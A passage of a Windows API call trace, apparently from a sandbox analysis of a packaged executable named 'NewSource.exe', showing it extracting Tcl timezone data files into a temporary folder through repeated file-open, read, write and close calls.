0x2 [0039.709] SetLastError (dwErrCode=0x2) [0039.709] GetLastError () returned 0x2 [0039.709] SetLastError (dwErrCode=0x2) [0039.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse") returned 75 [0039.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Whitehorse" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\whitehorse"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.775] GetFileType (hFile=0x10c) returned 0x1 [0039.775] htonl (hostlong=0xbd1d0000) returned 0x1dbd [0039.775] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.776] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.776] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdbd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdbd, lpOverlapped=0x0) returned 1 [0039.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.777] CloseHandle (hObject=0x10c) returned 1 [0039.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.777] htonl (hostlong=0x30000000) returned 0x30 [0039.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.778] GetFileType (hFile=0x10c) returned 0x1 [0039.778] htonl (hostlong=0xbe7c5a00) returned 0x5a7cbe [0039.778] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f2cbe, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.778] htonl (hostlong=0x4070000) returned 0x704 [0039.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x704) returned 0x55e278 [0039.778] htonl (hostlong=0x4070000) returned 0x704 [0039.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.778] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.778] htonl (hostlong=0xa3240000) returned 0x24a3 [0039.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24a3) returned 0x561090 [0039.778] htonl (hostlong=0x4070000) returned 0x704 [0039.778] htonl (hostlong=0xa3240000) returned 0x24a3 [0039.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563540 [0039.778] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563540 | out: hHeap=0x530000) returned 1 [0039.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.779] CloseHandle (hObject=0x10c) returned 1 [0039.779] GetLastError () returned 0x0 [0039.779] SetLastError (dwErrCode=0x0) [0039.779] GetLastError () returned 0x0 [0039.779] SetLastError (dwErrCode=0x0) [0039.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.779] GetFileType (hFile=0x10c) returned 0x1 [0039.779] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.779] CloseHandle (hObject=0x10c) returned 1 [0039.779] GetLastError () returned 0x0 [0039.779] SetLastError (dwErrCode=0x0) [0039.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.780] GetFileType (hFile=0x10c) returned 0x1 [0039.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.780] CloseHandle (hObject=0x10c) returned 1 [0039.780] GetLastError () returned 0x0 [0039.780] SetLastError (dwErrCode=0x0) [0039.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.780] GetFileType (hFile=0x10c) returned 0x1 [0039.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.781] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.781] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.781] CloseHandle (hObject=0x10c) returned 1 [0039.781] GetLastError () returned 0x0 [0039.781] SetLastError (dwErrCode=0x0) [0039.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg") returned 73 [0039.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\winnipeg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.781] GetLastError () returned 0x2 [0039.781] SetLastError (dwErrCode=0x2) [0039.781] GetLastError () returned 0x2 [0039.781] SetLastError (dwErrCode=0x2) [0039.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg", lpFilePart=0x0) returned 0x48 [0039.781] GetLastError () returned 0x2 [0039.781] SetLastError (dwErrCode=0x2) [0039.781] GetLastError () returned 0x2 [0039.781] SetLastError (dwErrCode=0x2) [0039.781] GetLastError () returned 0x2 [0039.781] SetLastError (dwErrCode=0x2) [0039.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg") returned 73 [0039.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Winnipeg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\winnipeg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.781] GetFileType (hFile=0x10c) returned 0x1 [0039.782] htonl (hostlong=0xa3240000) returned 0x24a3 [0039.782] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.783] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x4a3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x4a3, lpOverlapped=0x0) returned 1 [0039.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.783] CloseHandle (hObject=0x10c) returned 1 [0039.784] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.784] htonl (hostlong=0x30000000) returned 0x30 [0039.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.784] GetFileType (hFile=0x10c) returned 0x1 [0039.784] htonl (hostlong=0xc2835a00) returned 0x5a83c2 [0039.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f33c2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.785] htonl (hostlong=0x6b060000) returned 0x66b [0039.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x66b) returned 0x55e278 [0039.785] htonl (hostlong=0x6b060000) returned 0x66b [0039.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.785] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.785] htonl (hostlong=0xd7200000) returned 0x20d7 [0039.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d7) returned 0x561090 [0039.786] htonl (hostlong=0x6b060000) returned 0x66b [0039.786] htonl (hostlong=0xd7200000) returned 0x20d7 [0039.786] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563170 [0039.786] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563170 | out: hHeap=0x530000) returned 1 [0039.786] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.786] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.786] CloseHandle (hObject=0x10c) returned 1 [0039.786] GetLastError () returned 0x0 [0039.786] SetLastError (dwErrCode=0x0) [0039.786] GetLastError () returned 0x0 [0039.786] SetLastError (dwErrCode=0x0) [0039.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.786] GetFileType (hFile=0x10c) returned 0x1 [0039.786] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.786] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.786] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.787] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.787] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.787] CloseHandle (hObject=0x10c) returned 1 [0039.787] GetLastError () returned 0x0 [0039.787] SetLastError (dwErrCode=0x0) [0039.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.787] GetFileType (hFile=0x10c) returned 0x1 [0039.787] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.787] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.787] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.787] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.787] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.787] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.787] CloseHandle (hObject=0x10c) returned 1 [0039.787] GetLastError () returned 0x0 [0039.787] SetLastError (dwErrCode=0x0) [0039.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.788] GetFileType (hFile=0x10c) returned 0x1 [0039.788] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.788] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.788] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.788] CloseHandle (hObject=0x10c) returned 1 [0039.788] GetLastError () returned 0x0 [0039.788] SetLastError (dwErrCode=0x0) [0039.788] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat") returned 72 [0039.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\yakutat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.788] GetLastError () returned 0x2 [0039.788] SetLastError (dwErrCode=0x2) [0039.788] GetLastError () returned 0x2 [0039.788] SetLastError (dwErrCode=0x2) [0039.788] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat", lpFilePart=0x0) returned 0x47 [0039.788] GetLastError () returned 0x2 [0039.788] SetLastError (dwErrCode=0x2) [0039.788] GetLastError () returned 0x2 [0039.788] SetLastError (dwErrCode=0x2) [0039.789] GetLastError () returned 0x2 [0039.789] SetLastError (dwErrCode=0x2) [0039.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat") returned 72 [0039.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yakutat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\yakutat"), dwDesiredAccess=0x40000000, 